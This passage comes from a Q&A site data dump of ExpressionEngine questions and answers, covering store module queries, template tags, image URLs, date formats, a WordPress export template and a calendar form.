  <row Id="31024" PostTypeId="2" ParentId="30704" CreationDate="2015-04-14T14:01:12.793" Score="0" Body="&lt;p&gt;Awesome, thanks for extra info, we have everything in the one file so the next question is where in the DB is the data for this column coming from? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Getting the data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first, as you have seen the function &lt;code&gt;row&lt;/code&gt; creates an individual row from the &lt;code&gt;$stock&lt;/code&gt; variable passed. This is called in the function &lt;code&gt;run&lt;/code&gt; on row 77.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now depending on if your new info is coming from the expresso tables, or other EE tables or otherwise elsewhere. We can see the query that gets the data for each row starting at line 45. For the example I'm going to pull the &lt;code&gt;entry_id&lt;/code&gt; from &lt;code&gt;channel_titles&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's expresso data (coming from &lt;code&gt;store_stock&lt;/code&gt;, &lt;code&gt;store_products&lt;/code&gt;, &lt;code&gt;store_stock_options&lt;/code&gt;, &lt;code&gt;store_product_options&lt;/code&gt;, &lt;code&gt;store_product_modifiers&lt;/code&gt; or &lt;code&gt;channel_titles&lt;/code&gt;) all you'll need to do is extend the select query part on line 50 (see example). If it's in another table you will need to add some more joins (lines 46 to 49), but if you let me know the table, column and relationship I'll edit my example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;lines 50 to 56&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    -&amp;gt;select(array(&#xA;            'store_stock.*',&#xA;            'channel_titles.title',&#xA;            'channel_titles.entry_id AS example,&#xA;            $db-&amp;gt;raw('price + coalesce(sum(opt_price_mod), 0) as price'),&#xA;            $db-&amp;gt;raw('group_concat(concat(mod_name, &quot;: &quot;, opt_name) order by mod_order, opt_order separator &quot;, &quot;) as description'),&#xA;            $db-&amp;gt;raw('price * stock_level as stock_value'),&#xA;    ))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See how I've added &lt;code&gt;'channel_titles.entry_id AS example,&lt;/code&gt;? so this will make a value in the array called 'example'. Next is display...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Displaying the new data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you've already made room in the table this is easy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;line 103&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $stock-&amp;gt;example,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;replacing &lt;code&gt;&quot;CUSTOM FIELD&quot;&lt;/code&gt;. Thats it you should get your entry id's in the column! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to elaborate from here, as I said if you need some advise on how to extend the query into another table, o if you want some help linking &quot;piece of data X&quot; to this query let me know and I'll edit some more help in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Word of Warning&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are editing a file within a 3rd party module, this means if you update the module you may potentually overwrite your changes here. Just be warned and remember this change next time you're updating :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;_Adding data from channel fields&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per the comments below, the below code snippets should get you most of the way there to retrieve a field value according to the product entry. Replace this code : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = Stock::join('channel_titles', 'channel_titles.entry_id', '=', 'store_stock.entry_id')&#xA;    -&amp;gt;join('store_products', 'store_products.entry_id', '=', 'store_stock.entry_id')&#xA;    -&amp;gt;leftJoin('store_stock_options', 'store_stock_options.stock_id', '=', 'store_stock.id')&#xA;    -&amp;gt;leftJoin('store_product_options', 'store_product_options.product_opt_id', '=', 'store_stock_options.product_opt_id')&#xA;    -&amp;gt;leftJoin('store_product_modifiers', 'store_product_modifiers.product_mod_id', '=', 'store_product_options.product_mod_id')&#xA;    -&amp;gt;select(array(&#xA;        'store_stock.*',&#xA;        'channel_titles.title',&#xA;        $db-&amp;gt;raw('price + coalesce(sum(opt_price_mod), 0) as price'),&#xA;        $db-&amp;gt;raw('group_concat(concat(mod_name, &quot;: &quot;, opt_name) order by mod_order, opt_order separator &quot;, &quot;) as description'),&#xA;        $db-&amp;gt;raw('price * stock_level as stock_value'),&#xA;    ))&#xA;    -&amp;gt;where('channel_titles.site_id', config_item('site_id'))&#xA;    -&amp;gt;groupBy('store_stock.id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = Stock::join('channel_titles', 'channel_titles.entry_id', '=', 'store_stock.entry_id')&#xA;    -&amp;gt;join('channel_data', 'channel_data.entry_id', '=', 'store_stock.entry_id')&#xA;    -&amp;gt;join('store_products', 'store_products.entry_id', '=', 'store_stock.entry_id')&#xA;    -&amp;gt;leftJoin('store_stock_options', 'store_stock_options.stock_id', '=', 'store_stock.id')&#xA;    -&amp;gt;leftJoin('store_product_options', 'store_product_options.product_opt_id', '=', 'store_stock_options.product_opt_id')&#xA;    -&amp;gt;leftJoin('store_product_modifiers', 'store_product_modifiers.product_mod_id', '=', 'store_product_options.product_mod_id')&#xA;    -&amp;gt;select(array(&#xA;        'store_stock.*',&#xA;        'channel_titles.title',&#xA;        'channel_data.field_id_30 AS entry_price_in',&#xA;        $db-&amp;gt;raw('price + coalesce(sum(opt_price_mod), 0) as price'),&#xA;        $db-&amp;gt;raw('group_concat(concat(mod_name, &quot;: &quot;, opt_name) order by mod_order, opt_order separator &quot;, &quot;) as description'),&#xA;        $db-&amp;gt;raw('price * stock_level as stock_value'),&#xA;    ))&#xA;    -&amp;gt;where('channel_titles.site_id', config_item('site_id'))&#xA;    -&amp;gt;groupBy('store_stock.id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should add the value &lt;code&gt;$stock-&amp;gt;entry_price_in&lt;/code&gt; value tothe &lt;code&gt;$stock&lt;/code&gt; variable. Not tested, but should get you going, don't forget to update the &lt;code&gt;row()&lt;/code&gt; function ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS&gt; Don't forget to mark this as the answer if it solves your question. :D&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-04-16T16:43:56.910" LastActivityDate="2015-04-16T16:43:56.910" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31025" PostTypeId="1" AcceptedAnswerId="36230" CreationDate="2015-04-14T14:12:48.673" Score="1" ViewCount="419" Body="&lt;p&gt;Is it possible to use a form field as a variable address to send admin notifications to different addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scenario is that the notification needs to be sent to a different address dependent on some element in the form.&lt;/p&gt;&#xA;" OwnerUserId="2714" LastActivityDate="2016-04-25T17:34:51.250" Title="Freeform Pro Dynamic Admin Notifications" Tags="|solspace-freeform|forms|variable|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31026" PostTypeId="1" CreationDate="2015-04-14T14:24:34.070" Score="0" ViewCount="336" Body="&lt;p&gt;I have a very simple exp:channel:entries tag that works on several template files but not on the specific one I want to use it on. I am new to Expressionengine, but from everything I know about it, what data you can should not depend on context. But that is how this is acting sort of. I have also tested to see if it is some error in the template file by deleting everything but this tag and it still does not work in this location. Can anyone please explain why this tag would not work in this specific template? Thanks all for the help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;channel=&quot;insights&quot;&#xA;disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;limit=&quot;2&quot;&#xA;} {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6219" LastActivityDate="2015-07-16T18:06:16.033" Title="Simple exp:channel:entries not working on specific template" Tags="|templates|channel|tags|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31027" PostTypeId="1" AcceptedAnswerId="31227" CreationDate="2015-04-14T19:32:42.090" Score="1" ViewCount="174" Body="&lt;p&gt;I'm using a combination of Assets (with S3) and CE Image to store and manipulate my images respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of the tag I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:pair src=&quot;{url}&quot; width=&quot;1280&quot; height=&quot;720&quot; crop=&quot;yes&quot; save_type=&quot;jpg&quot; allow_scale_larger=&quot;yes&quot; quality=&quot;81&quot; cache=&quot;yes&quot; refresh=&quot;360&quot;}{made}{/exp:ce_img:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is an example of the URL it produces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://bucketname.s3.amazonaws.com/images/made/images/remote/http_s3.amazonaws.com/bucketname/articles/imagefile.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to get around producing such a long and ugly URL when using these two add-ons together?&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2015-04-28T20:29:31.963" Title="CE Image + Assets + S3 = Really Long and Ugly URL" Tags="|assets|image|ce-image|s3|image-path|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31029" PostTypeId="2" ParentId="30972" CreationDate="2015-04-15T08:11:02.283" Score="0" Body="&lt;p&gt;I'm assuming &quot;dumb&quot; synonymous to &quot;curly&quot;, &quot;fancy&quot;, or &quot;typographic&quot; quotes.&#xA;Unfortunately there is little that can be done in this case: searches are done based on what is stored and present in the database. If you have data stored with a straight quote &lt;code&gt;'&lt;/code&gt;, that is different, for a computer and MySQL query, to a curly/fancy/typographic/dumb quote &lt;code&gt;’&lt;/code&gt;. Super Search, and likely other search-based add-ons will see the character difference and not return the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Others might suggest modifying core files and code, but that is risky and can lead to even more complications (eg. not distinguishing between &lt;code&gt;'&lt;/code&gt; and &lt;code&gt;’&lt;/code&gt; is nice until you &lt;em&gt;do&lt;/em&gt; want &lt;code&gt;'&lt;/code&gt; to be distinguishable when it's used as something else than an apostrophe). In any case, this non-distinction isn't currently possible with Super Search. Nevertheless, I suggest submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on. :)&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-04-15T08:11:02.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31030" PostTypeId="1" CreationDate="2015-04-15T08:53:50.857" Score="1" ViewCount="424" Body="&lt;p&gt;Saving or updating an entry gives an error message &quot;The date you submitted is not valid.&quot;&#xA;Its on a fresh install of EE 2.9.3 with Publisher 1.6.2 (where Publisher shouldn't be the problem I guess).&#xA;I had some extensions installed which most of them are uninstalled now (Event Helper, MX CP Notice, Limitee, single entry)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the entry date &quot;14/4/2015 09:05&quot; to &quot;14-4-2015 09:05&quot; I can save the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have not changed any of the config parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I never had this before on EE 2.9.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any ideas why this happens?&lt;/p&gt;&#xA;" OwnerUserId="686" LastActivityDate="2015-04-23T17:29:12.880" Title="Saving an entry gives a date format error for the entry date" Tags="|entry-date|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31031" PostTypeId="2" ParentId="30648" CreationDate="2015-04-15T12:48:16.363" Score="1" Body="&lt;p&gt;You can look up the title using entry id and channel:entries&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Low Stock Warning&amp;lt;/p&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;your_products_channel&quot; entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;&amp;lt;p&amp;gt;Low stock notification for item {title} (id number {entry_id}).&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;p&amp;gt;Stock level is currently at {inventory}&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;Please restock this item and update the stock level.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Was trying to do this myself and just tried this and it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;N.B.&lt;/strong&gt; I think {inventory} needs to be outside {exp:channel:entries}&lt;/p&gt;&#xA;" OwnerUserId="6222" LastActivityDate="2015-04-15T12:48:16.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31032" PostTypeId="1" AcceptedAnswerId="31044" CreationDate="2015-04-15T12:56:38.740" Score="0" ViewCount="113" Body="&lt;p&gt;I'm using Low Variables. This specific variable is of the type 'Grid'.&#xA;What I'm having in my template is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;select name=&quot;country&quot; id=&quot;country&quot; class=&quot;form-control&quot;&amp;gt;&#xA;  {exp:low_variables:pair var=&quot;var_eleads_country&quot;}&#xA;     &amp;lt;option value=&quot;{var_eleads_country:code}&quot;&amp;gt;{var_eleads_country:label}&amp;lt;/option&amp;gt;&#xA;  {/exp:low_variables:pair}&#xA;&amp;lt;/select&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my actual template though, it doesn't work. I'm only seeing one option, with {var_eleads_country:code} as value and {var_eleads_country:label} as text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: This is happening inside of a Freeform. Also, I'm using Croxton's Stash. This is the stash_template, but the Form itself is wrappen in a {stash:nocache}.&lt;/p&gt;&#xA;" OwnerUserId="3830" LastEditorUserId="3830" LastEditDate="2015-04-15T14:33:56.737" LastActivityDate="2015-04-16T08:31:27.623" Title="Low Variables parsing grid" Tags="|solspace-freeform|stash|low-variables|low|parsing|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31033" PostTypeId="1" AcceptedAnswerId="31068" CreationDate="2015-04-15T13:08:49.957" Score="3" ViewCount="949" Body="&lt;p&gt;I'm working with a client that wants to migrate from ExpressionEngine to WordPress. I have an EE template that is supposed to (and seems to) generate a WP XML Import file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I import the file into my new WP installation, only the very last entry is imported. Everything associated with that entry is correct, but it skips the hundreds of posts that precede it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my EE template code. Is there something that I'm missing?:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&amp;gt;&#xA;&amp;lt;!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. --&amp;gt;&#xA;&amp;lt;!-- It contains information about your site's posts, pages, comments, categories, and other content. --&amp;gt;&#xA;&amp;lt;!-- You may use this file to transfer that content from one site to another. --&amp;gt;&#xA;&amp;lt;!-- This file is not intended to serve as a complete backup of your site. --&amp;gt;&#xA;&#xA;&amp;lt;!-- To import this information into a WordPress site follow these steps: --&amp;gt;&#xA;&amp;lt;!-- 1. Log in to that site as an administrator. --&amp;gt;&#xA;&amp;lt;!-- 2. Go to Tools: Import in the WordPress admin panel. --&amp;gt;&#xA;&amp;lt;!-- 3. Install the &quot;WordPress&quot; importer from the list. --&amp;gt;&#xA;&amp;lt;!-- 4. Activate &amp;amp; Run Importer. --&amp;gt;&#xA;&amp;lt;!-- 5. Upload this file using the form provided on that page. --&amp;gt;&#xA;&amp;lt;!-- 6. You will first be asked to map the authors in this export file to users --&amp;gt;&#xA;&amp;lt;!--    on the site. For each author, you may choose to map to an --&amp;gt;&#xA;&amp;lt;!--    existing user on the site or to create a new user. --&amp;gt;&#xA;&amp;lt;!-- 7. WordPress will then import each of the posts, pages, comments, categories, etc. --&amp;gt;&#xA;&amp;lt;!--    contained in this file into your site. --&amp;gt;&#xA;&#xA;&amp;lt;!-- generator=&quot;WordPress/3.3.2&quot; created=&quot;2012-06-25 23:09&quot; --&amp;gt;&#xA;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:excerpt=&quot;http://wordpress.org/export/1.1/excerpt/&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;    xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:wp=&quot;http://wordpress.org/export/1.1/&quot;&#xA;&amp;gt;&#xA;&#xA;&amp;lt;channel&amp;gt;&#xA;    &amp;lt;title&amp;gt;{site_name}&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link&amp;gt;{site_url}&amp;lt;/link&amp;gt;&#xA;    &amp;lt;description&amp;gt;&amp;lt;/description&amp;gt;&#xA;    &amp;lt;pubDate&amp;gt;&amp;lt;/pubDate&amp;gt;&#xA;    &amp;lt;language&amp;gt;en&amp;lt;/language&amp;gt;&#xA;    &amp;lt;wp:wxr_version&amp;gt;1.1&amp;lt;/wp:wxr_version&amp;gt;&#xA;    &amp;lt;wp:base_site_url&amp;gt;http://domain.com/&amp;lt;/wp:base_site_url&amp;gt;&#xA;    &amp;lt;wp:base_blog_url&amp;gt;http://domain.com/&amp;lt;/wp:base_blog_url&amp;gt;&#xA;&#xA;    &amp;lt;generator&amp;gt;http://wordpress.org/?v=3.3.2&amp;lt;/generator&amp;gt;&#xA;{exp:channel:entries {if segment_3 != &quot;&quot;}channel=&quot;{segment_3}&quot;{/if} orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;500&quot; rdf=&quot;off&quot; }&#xA;&#xA;&#xA;    &amp;lt;item&amp;gt;&#xA;        &amp;lt;title&amp;gt;{exp:xml_encode}{title}{/exp:xml_encode}&amp;lt;/title&amp;gt;&#xA;        &amp;lt;link&amp;gt;&amp;lt;/link&amp;gt;&#xA;        &amp;lt;pubDate&amp;gt;{entry_date format=&quot;%r&quot;}&amp;lt;/pubDate&amp;gt;&#xA;        &amp;lt;dc:creator&amp;gt;&amp;lt;![CDATA[{author}]]&amp;gt;&amp;lt;/dc:creator&amp;gt;&#xA;        &amp;lt;guid isPermaLink=&quot;false&quot;&amp;gt;http://domain.com/?p={entry_id}&amp;lt;/guid&amp;gt;&#xA;&#xA;        &amp;lt;description&amp;gt;&amp;lt;/description&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;excerpt:encoded&amp;gt;&amp;lt;![CDATA[{summary}]]&amp;gt;&amp;lt;/excerpt:encoded&amp;gt;&#xA;        &amp;lt;content:encoded&amp;gt;&amp;lt;![CDATA[{body} &#xA;         ]]&amp;gt;&amp;lt;/content:encoded&amp;gt;&#xA;&#xA;{categories}&#xA;        &amp;lt;category domain=&quot;category&quot; nicename=&quot;{category_url_title}&quot;&amp;gt;&amp;lt;![CDATA[{category_name}]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;{/categories}&#xA;&#xA;        &amp;lt;wp:post_type&amp;gt;post&amp;lt;/wp:post_type&amp;gt;&#xA;        &amp;lt;wp:post_id&amp;gt;&amp;lt;/wp:post_id&amp;gt;&#xA;        &amp;lt;wp:post_date&amp;gt;{entry_date format=&quot;%Y-%m-%d %H:%i:%s&quot;}&amp;lt;/wp:post_date&amp;gt;&#xA;        &amp;lt;wp:post_date_gmt&amp;gt;{gmt_date format=&quot;%Y-%m-%d %H:%i:%s&quot;}&amp;lt;/wp:post_date_gmt&amp;gt;&#xA;        &amp;lt;wp:comment_status&amp;gt;open&amp;lt;/wp:comment_status&amp;gt;&#xA;        &amp;lt;wp:ping_status&amp;gt;open&amp;lt;/wp:ping_status&amp;gt;&#xA;        &amp;lt;wp:post_name&amp;gt;{url_title}&amp;lt;/wp:post_name&amp;gt;&#xA;        &amp;lt;wp:status&amp;gt;{if status == &quot;open&quot;}publish{if:elseif status == &quot;review&quot;}pending{if:elseif status == &quot;closed&quot;}private{if:elseif status == &quot;draft&quot;}draft{if:else}publish{/if}&amp;lt;/wp:status&amp;gt;&#xA;        &amp;lt;wp:post_parent&amp;gt;0&amp;lt;/wp:post_parent&amp;gt;&#xA;        &amp;lt;wp:menu_order&amp;gt;0&amp;lt;/wp:menu_order&amp;gt;&#xA;        &amp;lt;wp:post_password&amp;gt;&amp;lt;/wp:post_password&amp;gt;&#xA;        &amp;lt;wp:is_sticky&amp;gt;0&amp;lt;/wp:is_sticky&amp;gt;&#xA;        &amp;lt;wp:postmeta&amp;gt;&#xA;            &amp;lt;wp:meta_key&amp;gt;_edit_last&amp;lt;/wp:meta_key&amp;gt;&#xA;            &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[1]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;        &amp;lt;wp:postmeta&amp;gt;&#xA;            &amp;lt;wp:meta_key&amp;gt;_su_rich_snippet_type&amp;lt;/wp:meta_key&amp;gt;&#xA;            &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[none]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;        &amp;lt;wp:postmeta&amp;gt;&#xA;            &amp;lt;wp:meta_key&amp;gt;_encloseme&amp;lt;/wp:meta_key&amp;gt;&#xA;            &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[1]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;    &amp;lt;/item&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="897" LastActivityDate="2018-08-29T01:59:36.940" Title="Create WordPress Export File" Tags="|templates|xml|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31034" PostTypeId="2" ParentId="31030" CreationDate="2015-04-15T13:16:16.340" Score="1" Body="&lt;p&gt;Head on over to your EE backend. If you go to Admin -&gt; Localization Settings, you should set your default date format, and make sure to hit save to make it updated. It should be set to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mm/dd/yy &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See if that does the trick. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; In 2.9.3, it even shows the full four year format, so make sure you set it to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mm/dd/yyyy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-04-15T13:21:31.053" LastActivityDate="2015-04-15T13:21:31.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31035" PostTypeId="1" CreationDate="2015-04-15T14:37:14.103" Score="1" ViewCount="60" Body="&lt;p&gt;I have a channel form that users can enter their own calendar events into from behind a login. Randomly, some of the event dates do not get entered into the database. Looking at the tables, it appears that everything enters correctly except for the entry into the exp_calendar_events table. For the events that come through with no date, there is no corresponding row in this table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to recreate this issue, but can't. The issue seems to be completely random based on who is entering the event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The channel form code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;calendar_events&quot; return=&quot;add-edit-events/updated-event&quot; class=&quot;eventedit&quot; include_jquery=&quot;no&quot;}&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Event Date&amp;lt;/legend&amp;gt;&#xA;        {exp:calendar:date_widget}&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Event Information&amp;lt;/legend&amp;gt;&#xA;        &amp;lt;label class=&quot;required&quot;&amp;gt;Event Name:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; value=&quot;{title}&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;label&amp;gt;Event Category:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {category_menu}&#xA;                &amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot; size=&quot;4&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;                        {select_options}&#xA;                &amp;lt;/select&amp;gt;&#xA;        {/category_menu}&amp;lt;br /&amp;gt;&#xA;        &amp;lt;i class=&quot;tip&quot;&amp;gt;* Please select as many categories as applicable. Selecting multiple categories can be done by holding the Ctrl key while clicking on categories.&amp;lt;/i&amp;gt;&#xA;        &amp;lt;label&amp;gt;Location:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;event_nolisting_location&quot; value=&quot;{event_nolisting_location}&quot;  /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;label&amp;gt;Facebook Page Title:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;facebook_page_title&quot; value=&quot;{facebook_page_title}&quot;  /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;label&amp;gt;Facebook Link:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;event_facebook&quot; value=&quot;{event_facebook}&quot;  /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;label&amp;gt;Cost:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;event_cost&quot; value=&quot;{event_cost}&quot;  /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;label&amp;gt;Event Description:&amp;lt;/label&amp;gt;&#xA;        {field:event_description}&#xA;        &amp;lt;label&amp;gt;Event Photo:&amp;lt;/label&amp;gt;&#xA;        {field:event_image}&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;More Information&amp;lt;/legend&amp;gt;&#xA;        &amp;lt;label&amp;gt;Website Title:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;event_sponsor&quot; value=&quot;{event_sponsor}&quot;  /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;label&amp;gt;Website:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;event_sponsorlink&quot; {if event_sponsorlink}value=&quot;{event_sponsorlink}&quot;{if:else}value=&quot;http://&quot;{/if}  /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;i class=&quot;tip&quot;&amp;gt;Please format the website address with http://&amp;lt;/i&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;             &#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Contact Details&amp;lt;/legend&amp;gt;&#xA;        &amp;lt;label&amp;gt;Contact Name:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;event_contact&quot; value=&quot;{event_contact}&quot;  /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;label&amp;gt;Contact Phone:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;event_contactphone&quot; value=&quot;{event_contactphone}&quot;  /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;label&amp;gt;Contact Email:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;event_contactemail&quot; value=&quot;{event_contactemail}&quot;  /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;author_id&quot; value=&quot;{member_id}&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;allow_comments&quot; value=&quot;n&quot; /&amp;gt;&#xA;{if freebie_3 != &quot;&quot;}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;url_title&quot; value=&quot;{url_title}&quot; /&amp;gt;&#xA;{/if}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;status&quot; value=&quot;closed&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;calendar_submit button&quot; /&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What would be causing the MySQL insert queries to not be happening?&lt;/p&gt;&#xA;" OwnerUserId="3851" LastActivityDate="2015-04-15T14:37:14.103" 